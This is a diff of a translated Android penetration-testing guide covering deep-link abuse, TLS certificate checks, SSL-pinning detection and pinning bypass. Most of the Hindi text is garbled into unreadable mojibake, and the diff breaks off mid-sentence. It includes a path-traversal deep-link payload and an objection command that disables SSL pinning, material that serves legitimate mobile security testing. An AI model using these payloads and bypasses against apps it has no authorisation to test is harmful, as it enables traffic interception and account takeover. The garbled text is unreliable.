рдЬрд╛рдПрдВ рдФрд░ function **`onNewIntent`** рдЦреЛрдЬреЗрдВред ![](<../../images/image (436) (1) (1) (1).png>) **рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА** -Every time you find a deep link check that i**t's not receiving sensitive data (like passwords) via URL parameters**, because any other application could **impersonate the deep link and steal that data!** +рд╣рд░ рдмрд╛рд░ рдЬрдм рдЖрдк рдХреЛрдИ deep link рдкрд╛рддреЗ рд╣реИрдВ рддреЛ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ **рдпрд╣ URL parameters рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ (рдЬреИрд╕реЗ passwords) рдкреНрд░рд╛рдкреНрдд рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реИ**, рдХреНрдпреЛрдВрдХрд┐ рдХреЛрдИ рднреА рдЕрдиреНрдп application **рдЙрд╕ deep link рдХреА impersonate рдХрд░рдХреЗ рд╡рд╣ рдбреЗрдЯрд╛ рдЪреБрд░рд╛ рд╕рдХрддрд╛ рд╣реИ!** -**Parameters in path** +**Path рдореЗрдВ Parameters** -You **must check also if any deep link is using a parameter inside the path** of the URL like: `https://api.example.com/v1/users/{username}` , in that case you can force a path traversal accessing something like: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ -Note that if you find the correct endpoints inside the application you may be able to cause a **Open Redirect** (if part of the path is used as domain name), **account takeover** (if you can modify users details without CSRF token and the vuln endpoint used the correct method) and any other vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/). +рдЖрдкрдХреЛ **рдпрд╣ рднреА рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреЛрдИ deep link URL рдХреЗ path рдХреЗ рдЕрдВрджрд░ parameter рддреЛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░ рд░рд╣рд╛ рд╣реИ** рдЬреИрд╕реЗ: `https://api.example.com/v1/users/{username}` , рдЙрд╕ рд╕реНрдерд┐рддрд┐ рдореЗрдВ рдЖрдк path traversal рдЬрдмрд░рджрд╕реНрддреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕реЗ: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдк application рдХреЗ рдЕрдВрджрд░ рд╕рд╣реА endpoints рдвреВрдВрдв рд▓реЗрддреЗ рд╣реИрдВ рддреЛ рдЖрдк **Open Redirect** (рдпрджрд┐ path рдХрд╛ рдХреЛрдИ рд╣рд┐рд╕реНрд╕рд╛ domain name рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рд╣реЛрддрд╛ рд╣реИ), **account takeover** (рдпрджрд┐ рдЖрдк CSRF token рдХреЗ рдмрд┐рдирд╛ user details рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ vulnerable endpoint рдиреЗ рд╕рд╣реА method рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛) рдФрд░ рдХрд┐рд╕реА рдЕрдиреНрдп vuln рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддреЗ рд╣реИрдВред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП [рдпрд╣рд╛рдБ](http://dphoeniixx.com/2020/12/13-2/) рджреЗрдЦреЗрдВред **More examples** -An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_). +рдПрдХ [рджрд┐рд▓рдЪрд╕реНрдк bug bounty рд░рд┐рдкреЛрд░реНрдЯ](https://hackerone.com/reports/855618) links рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ (_/.well-known/assetlinks.json_). -### Transport Layer Inspection and Verification Failures +### рдЯреНрд░рд╛рдВрд╕рдкреЛрд░реНрдЯ рд▓реЗрдпрд░ рдирд┐рд░реАрдХреНрд╖рдг рдФрд░ рд╕рддреНрдпрд╛рдкрди рд╡рд┐рдлрд▓рддрд╛рдПрдБ -- **Certificates are not always inspected properly** by Android applications. It's common for these applications to overlook warnings and accept self-signed certificates or, in some instances, revert to using HTTP connections. -- **Negotiations during the SSL/TLS handshake are sometimes weak**, employing insecure cipher suites. This vulnerability makes the connection susceptible to man-in-the-middle (MITM) attacks, allowing attackers to decrypt the data. -- Leakage of private information is a risk when applications authenticate using secure channels but then communicate over non-secure channels for other transactions. рдЗрд╕ рддрд░рд╣ рдХрд╛ рд╡реНрдпрд╡рд╣рд╛рд░ sensitive data, рдЬреИрд╕реЗ session cookies рдпрд╛ user details, рдХреЛ malicious entities рджреНрд╡рд╛рд░рд╛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рд╣реЛрдиреЗ рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рдирд╣реАрдВ рд░рдЦрддрд╛ред +- **Certificates рд╣рдореЗрд╢рд╛ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдирд┐рд░реАрдХреНрд╖рд┐рдд рдирд╣реАрдВ рдХрд┐рдП рдЬрд╛рддреЗ** Android applications рджреНрд╡рд╛рд░рд╛ред рдЕрдХреНрд╕рд░ рдпреЗ applications warnings рдХреЛ рдЕрдирджреЗрдЦрд╛ рдХрд░ self-signed certificates рд╕реНрд╡реАрдХрд╛рд░ рдХрд░ рд▓реЗрддреЗ рд╣реИрдВ рдпрд╛ рдХреБрдЫ рдорд╛рдорд▓реЛрдВ рдореЗрдВ HTTP connections рдкрд░ рд╡рд╛рдкрд╕ рдЪрд▓реЗ рдЬрд╛рддреЗ рд╣реИрдВред +- **SSL/TLS handshake рдХреЗ рджреМрд░рд╛рди negotiations рдХрднреА-рдХрднрд╛рд░ рдХрдордЬреЛрд░ рд╣реЛрддреЗ рд╣реИрдВ**, рдЬреЛ insecure cipher suites рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ vulnerability connection рдХреЛ man-in-the-middle (MITM) attacks рдХреЗ рд▓рд┐рдП рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдмрдирд╛рддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ attackers рдбреЗрдЯрд╛ decrypt рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +- **Leakage of private information** рдПрдХ рдЬреЛрдЦрд┐рдо рд╣реИ рдЬрдм applications secure channels рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ authenticate рдХрд░рддреА рд╣реИрдВ рдкрд░ рдЕрдиреНрдп transactions рдХреЗ рд▓рд┐рдП non-secure channels рдкрд░ communicate рдХрд░рддреА рд╣реИрдВред рдпрд╣ рддрд░реАрдХрд╛ sensitive data, рдЬреИрд╕реЗ session cookies рдпрд╛ user details, рдХреЛ malicious entities рджреНрд╡рд╛рд░рд╛ interception рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рдирд╣реАрдВ рд░рдЦрддрд╛ред -#### Certificate Verification +#### рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ рд╕рддреНрдпрд╛рдкрди -рд╣рдо **certificate verification** рдкрд░ рдзреНрдпрд╛рди рджреЗрдВрдЧреЗред рд╕рд░реНрд╡рд░ рдХреЗ certificate рдХреА integrity рдХреЛ verify рдХрд░рдирд╛ рд╕реБрд░рдХреНрд╖рд╛ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред рдпрд╣ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХреНрдпреЛрдВрдХрд┐ insecure TLS configurations рдФрд░ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдХрд╛ unencrypted рдЪреИрдирд▓реЛрдВ рдкрд░ рдЯреНрд░рд╛рдВрд╕рдорд┐рд╢рди рдЧрдВрднреАрд░ рдЬреЛрдЦрд┐рдо рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддрд╛ рд╣реИред рд╕рд░реНрд╡рд░ certificates рдХреА verification рдФрд░ vulnerabilities рдХреЛ рдареАрдХ рдХрд░рдиреЗ рдХреЗ рд╡рд┐рд╕реНрддреГрдд рдЪрд░рдгреЛрдВ рдХреЗ рд▓рд┐рдП, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) рд╡реНрдпрд╛рдкрдХ рдорд╛рд░реНрдЧрджрд░реНрд╢рди рджреЗрддрд╛ рд╣реИред +рд╣рдо **certificate verification** рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░реЗрдВрдЧреЗред рд╕реБрд░рдХреНрд╖рд╛ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП server рдХреЗ certificate рдХреА integrity verify рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред рдпрд╣ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХреНрдпреЛрдВрдХрд┐ insecure TLS configurations рдФрд░ unencrypted channels рдкрд░ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдХрд╛ рдЯреНрд░рд╛рдВрд╕рдорд┐рд╢рди рдЧрдВрднреАрд░ рдЬреЛрдЦрд┐рдо рдкреИрджрд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИред server certificates verify рдХрд░рдиреЗ рдФрд░ vulnerabilities рдХреЛ рдареАрдХ рдХрд░рдиреЗ рдХреЗ рд╡рд┐рд╕реНрддреГрдд рдЪрд░рдгреЛрдВ рдХреЗ рд▓рд┐рдП, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) рд╡рд┐рд╕реНрддреГрдд рдорд╛рд░реНрдЧрджрд░реНрд╢рди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред #### SSL Pinning -SSL Pinning рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдп рд╣реИ рдЬрд╣рд╛рдБ application рд╕рд░реНрд╡рд░ рдХреЗ certificate рдХреА рддреБрд▓рдирд╛ application рдореЗрдВ рд╕рдВрдЧреНрд░рд╣рд┐рдд рдЬреНрдЮрд╛рдд рдХреЙрдкреА рдХреЗ рд╕рд╛рде рдХрд░рддреА рд╣реИред рдпрд╣ рддрд░реАрдХрд╛ MITM attacks рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рд╕рдВрднрд╛рд▓рдиреЗ рд╡рд╛рд▓реА applications рдХреЗ рд▓рд┐рдП SSL Pinning рд▓рд╛рдЧреВ рдХрд░рдирд╛ рджреГрдврд╝рддрд╛рдкреВрд░реНрд╡рдХ рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╣реИред +SSL Pinning рдПрдХ security measure рд╣реИ рдЬрд╣рд╛рдБ application server рдХреЗ certificate рдХреЛ application рдореЗрдВ рд╕реНрдЯреЛрд░ рдЬреНрдЮрд╛рдд copy рдХреЗ рдЦрд┐рд▓рд╛рдл verify рдХрд░рддреА рд╣реИред рдпрд╣ рддрд░реАрдХрд╛ MITM attacks рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рд╕рдВрднрд╛рд▓рдиреЗ рд╡рд╛рд▓реА applications рдХреЗ рд▓рд┐рдП SSL Pinning рд▓рд╛рдЧреВ рдХрд░рдирд╛ рдЕрддреНрдпрдзрд┐рдХ рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╣реИред -#### Traffic Inspection +#### рдЯреНрд░реИрдлрд╝рд┐рдХ рдирд┐рд░реАрдХреНрд╖рдг -HTTP рдЯреНрд░реИрдлрд┐рдХ inspect рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, proxy tool рдХрд╛ certificate (рдЙрджрд╛. Burp) **install** рдХрд░рдирд╛ рдЬрд╝рд░реВрд░реА рд╣реИред рдЗрд╕ certificate рдХреЛ install рдХрд┐рдП рдмрд┐рдирд╛, encrypted рдЯреНрд░реИрдлрд┐рдХ proxy рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рджрд┐рдЦрд╛рдИ рдирд╣реАрдВ рджреЗ рд╕рдХрддрд╛ред custom CA certificate install рдХрд░рдиреЗ рдХреЗ рдЧрд╛рдЗрдб рдХреЗ рд▓рд┐рдП, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine) рджреЗрдЦреЗрдВред +HTTP рдЯреНрд░реИрдлрд╝рд┐рдХ inspect рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, **proxy tool рдХрд╛ certificate install рдХрд░рдирд╛** рдЖрд╡рд╢реНрдпрдХ рд╣реИ (рдЙрджрд╛., Burp)ред рдЗрд╕ certificate рдХреЛ install рдХрд┐рдП рдмрд┐рдирд╛, encrypted рдЯреНрд░реИрдлрд╝рд┐рдХ proxy рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рджрд┐рдЦрд╛рдИ рдирд╣реАрдВ рджреЗ рд╕рдХрддрд╛ред custom CA certificate install рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЧрд╛рдЗрдб рдХреЗ рд▓рд┐рдП, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine) рджреЗрдЦреЗрдВред -Applications targeting **API Level 24 and above** рдХреЛ Network Security Config рдореЗрдВ рдмрджрд▓рд╛рд╡ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рддрд╛рдХрд┐ рд╡реЗ proxy рдХреЗ CA certificate рдХреЛ accept рдХрд░реЗрдВред encrypted рдЯреНрд░реИрдлрд┐рдХ inspect рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╣ рдХрджрдо рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред Network Security Config рдмрджрд▓рдиреЗ рдХреЗ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рд▓рд┐рдП, [**refer to this tutorial**](make-apk-accept-ca-certificate.md) рджреЗрдЦреЗрдВред +Applications рдЬреЛ **API Level 24 and above** рд▓рдХреНрд╖рд┐рдд рдХрд░рддреА рд╣реИрдВ, рдЙрдиреНрд╣реЗрдВ proxy рдХреА CA certificate рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП Network Security Config рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрди рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдпрд╣ рдХрджрдо encrypted рдЯреНрд░реИрдлрд╝рд┐рдХ inspect рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред Network Security Config рдмрджрд▓рдиреЗ рдХреЗ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рд▓рд┐рдП, [**refer to this tutorial**](make-apk-accept-ca-certificate.md) рджреЗрдЦреЗрдВред -рдпрджрд┐ **Flutter** рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ рддреЛ рдЖрдкрдХреЛ [**this page**](flutter.md) рдореЗрдВ рджрд┐рдП рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдРрд╕рд╛ рдЗрд╕рд▓рд┐рдП рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдХреЗрд╡рд▓ certificate рдХреЛ store рдореЗрдВ рдЬреЛрдбрд╝рдиреЗ рд╕реЗ рдХрд╛рдо рдирд╣реАрдВ рдЪрд▓реЗрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ Flutter рдХреА рдЕрдкрдиреА valid CAs рдХреА рд╕реВрдЪреА рд╣реЛрддреА рд╣реИред +рдпрджрд┐ **Flutter** рдЙрдкрдпреЛрдЧ рд╣реЛ рд░рд╣рд╛ рд╣реИ рддреЛ рдЖрдкрдХреЛ [**this page**](flutter.md) рдореЗрдВ рджрд┐рдП рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рдРрд╕рд╛ рдЗрд╕рд▓рд┐рдП рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдХреЗрд╡рд▓ certificate рдХреЛ store рдореЗрдВ рдЬреЛрдбрд╝рдирд╛ рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ Flutter рдХреЗ рдкрд╛рд╕ рдЕрдкрдиреА рд╕реНрд╡рдпрдВ рдХреА valid CAs рдХреА рд╕реВрдЪреА рд╣реЛрддреА рд╣реИред -#### Static detection of SSL/TLS pinning +#### SSL/TLS pinning рдХрд╛ static рдкрддрд╛ рд▓рдЧрд╛рдирд╛ -runtime bypasses рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЬрд▓реНрджреА рд╕реЗ рдореИрдк рдХрд░реЗрдВ рдХрд┐ APK рдореЗрдВ pinning рдХрд╣рд╛рдБ enforce рд╣реЛ рд░рд╣рд╛ рд╣реИред static discovery рдЖрдкрдХреЛ hooks/patches рдХреА рдпреЛрдЬрдирд╛ рдмрдирд╛рдиреЗ рдФрд░ рд╕рд╣реА рдХреЛрдб рдкрд╛рдереНрд╕ рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИред +Runtime bypasses рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рддреЗрдЬрд╝реА рд╕реЗ рдореИрдк рдХрд░реЗрдВ рдХрд┐ APK рдореЗрдВ рдХрд╣рд╛рдБ pinning рд▓рд╛рдЧреВ рд╣реИред Static discovery рдЖрдкрдХреЛ hooks/patches рдХреА рдпреЛрдЬрдирд╛ рдмрдирд╛рдиреЗ рдФрд░ рд╕рд╣реА code paths рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИред Tool: SSLPinDetect -- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations. -- Reports exact file path, line number, and a code snippet for each match. -- Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins. +- Open-source static-analysis utility рд╣реИ рдЬреЛ APK рдХреЛ Smali рдореЗрдВ decompile рдХрд░рддрд╛ рд╣реИ (via apktool) рдФрд░ SSL/TLS pinning implementations рдХреЗ curated regex patterns рдХреЗ рд▓рд┐рдП scan рдХрд░рддрд╛ рд╣реИред +- рдкреНрд░рддреНрдпреЗрдХ рдорд┐рд▓рд╛рди рдХреЗ рд▓рд┐рдП exact file path, line number, рдФрд░ рдПрдХ code snippet рд░рд┐рдкреЛрд░реНрдЯ рдХрд░рддрд╛ рд╣реИред +- рд╕рд╛рдорд╛рдиреНрдп frameworks рдФрд░ custom code paths рдХреЛ рдХрд╡рд░ рдХрд░рддрд╛ рд╣реИ: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, рдФрд░ Network Security Config XML pinsред Install - Prereqs: Python >= 3.8, Java on PATH, apktool @@ -464,9 +464,8 @@ python sslpindetect.py -f app.apk -a apktool.jar # Verbose (timings + per-match path:line + snippet) python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v ``` -рдЙрджрд╛рд╣рд░рдг рдкреИрдЯрд░реНрди рдирд┐рдпрдо (JSON) - -signatures рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдпрд╛ рдЙрдиреНрд╣реЗрдВ рдмрдврд╝рд╛рдПрдБ рддрд╛рдХрд┐ proprietary/custom pinning styles рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдЖрдк рдЕрдкрдирд╛ JSON рд▓реЛрдб рдХрд░рдХреЗ рдмрдбрд╝реЗ рдкреИрдорд╛рдиреЗ рдкрд░ рд╕реНрдХреИрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +Example pattern rules (JSON) +рдкреНрд░реЛрдкреНрд░рд╛рдпрдЯрд░реА/рдХрд╕реНрдЯрдо pinning рд╢реИрд▓рд┐рдпреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП signatures рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдпрд╛ рдЗрдиреНрд╣реЗрдВ рдмрдврд╝рд╛рдПрдБред рдЖрдк рдЕрдкрдирд╛ JSON рд▓реЛрдб рдХрд░рдХреЗ рдмрдбрд╝реЗ рдкреИрдорд╛рдиреЗ рдкрд░ scan рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ```json { "OkHttp Certificate Pinning": [ @@ -480,41 +479,41 @@ signatures рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдпрд╛ рдЙрдиреНрд╣реЗрдВ рдмрдв ] } ``` -Notes and tips -- рдмрдбрд╝реЗ рдРрдкреНрд╕ рдкрд░ рддреЗрдЬрд╝ рд╕реНрдХреИрдирд┐рдВрдЧ рдХреЗ рд▓рд┐рдП multi-threading рдФрд░ memory-mapped I/O рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ; pre-compiled regex overhead/false positives рдХрдо рдХрд░рддрд╛ рд╣реИред +рдиреЛрдЯреНрд╕ рдФрд░ рдЯрд┐рдкреНрд╕ +- рдмрдбрд╝реЗ рдРрдкреНрд╕ рдкрд░ рддреЗрдЬрд╝ рд╕реНрдХреИрдирд┐рдВрдЧ рдХреЗ рд▓рд┐рдП multi-threading рдФрд░ memory-mapped I/O рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ; pre-compiled regex рд╕реЗ overhead рдФрд░ false positives рдХрдо рд╣реЛрддреЗ рд╣реИрдВред - Pattern collection: https://github.com/aancw/smali-sslpin-patterns -- рдЕрдЧрд▓реЗ рдЯреНрд░рд╛рдпреЗрдЬ рдХреЗ рд▓рд┐рдП рд╕рд╛рдорд╛рдиреНрдп detection targets: -- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references +- рдЕрдЧрд▓реЗ рдЯреНрд░рд╛рдпрдПрдЬ рдХреЗ рд▓рд┐рдП рд╕рд╛рдорд╛рдиреНрдп detection targets: +- OkHttp: CertificatePinner рдХрд╛ рдЙрдкрдпреЛрдЧ, setCertificatePinner, okhttp3/okhttp package references - Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides - Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers -- Declarative pins in res/xml network security config рдФрд░ manifest references -- рдореИрдЪ рд╣реБрдИ рд▓реЛрдХреЗрд╢рдиреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ Frida hooks, static patches, рдпрд╛ config reviews рдХреА рдпреЛрдЬрдирд╛ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░реЗрдВ, рдЬрд┐рд╕рд╕реЗ dynamic testing рд╕реЗ рдкрд╣рд▓реЗ рдХрд╛рдо рдЖрд╕рд╛рди рд╣реЛред +- Declarative pins res/xml рдореЗрдВ network security config рдФрд░ manifest references +- рдореИрдЪреЗ рд╣реБрдП рд▓реЛрдХреЗрд╢рдиреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ Frida hooks, static patches, рдпрд╛ config reviews рдкреНрд▓рд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░реЗрдВ, dynamic testing рд╕реЗ рдкрд╣рд▓реЗред #### Bypassing SSL Pinning -рдЬрдм SSL Pinning рд▓рд╛рдЧреВ рд╣реЛрддрд╛ рд╣реИ, рддреЛ HTTPS рдЯреНрд░реИрдлрд╝рд┐рдХ рдХрд╛ рдирд┐рд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕реЗ bypass рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рд▓рд┐рдП рдХрдИ рддрд░реАрдХреЗ рдЙрдкрд▓рдмреНрдз рд╣реИрдВ: +рдЬрдм SSL Pinning рд▓рд╛рдЧреВ рд╣реЛрддрд╛ рд╣реИ, HTTPS рдЯреНрд░реИрдлрд┐рдХ рдирд┐рд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕реЗ bypass рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рд▓рд┐рдП рдХрдИ рддрд░реАрдХреЗ рдЙрдкрд▓рдмреНрдз рд╣реИрдВ: -- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). рдЗрд╕ рд╡рд┐рдХрд▓реНрдк рдХрд╛ рд╕рдмрд╕реЗ рдмрдбрд╝рд╛ рдлрд╛рдпрджрд╛ рдпрд╣ рд╣реИ рдХрд┐ рдЖрдкрдХреЛ SSL Pinning bypass рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП root рдХреА рдЬрд╝рд░реВрд░рдд рдирд╣реАрдВ рдкрдбрд╝реЗрдЧреА, рд▓реЗрдХрд┐рди рдЖрдкрдХреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдбрд┐рд▓реАрдЯ рдХрд░рдХреЗ рдирдпрд╛ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░рдирд╛ рд╣реЛрдЧрд╛, рдФрд░ рдпрд╣ рд╣рд░ рдмрд╛рд░ рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ред -- рдЖрдк рдЗрд╕ рдкреНрд░реЛрдЯреЗрдХреНрд╢рди рдХреЛ bypass рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **Frida** (рдиреАрдЪреЗ рдЪрд░реНрдЪрд╛ рдХреА рдЧрдИ) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред Burp+Frida+Genymotion рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдЧрд╛рдЗрдб рдпрд╣рд╛рдБ рд╣реИ: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- рдЖрдк [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ SSL Pinning рдХреЛ automatically bypass рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -- рдЖрдк **MobSF dynamic analysis** (рдиреАрдЪреЗ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреА SSL Pinning рдХреЛ automatically bypass рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -- рдЕрдЧрд░ рдЖрдкрдХреЛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдХреБрдЫ рдЯреНрд░реИрдлрд╝рд┐рдХ рдЖрдк рдкрдХрдбрд╝ рдирд╣реАрдВ рдкрд╛ рд░рд╣реЗ рд╣реИрдВ рддреЛ рдЖрдк рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ burp рдкрд░ forward рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП iptables рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рдмреНрд▓реЙрдЧ рдХреЛ рдкрдврд╝реЗрдВ: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). рдЗрд╕ рд╡рд┐рдХрд▓реНрдк рдХрд╛ рд╕рдмрд╕реЗ 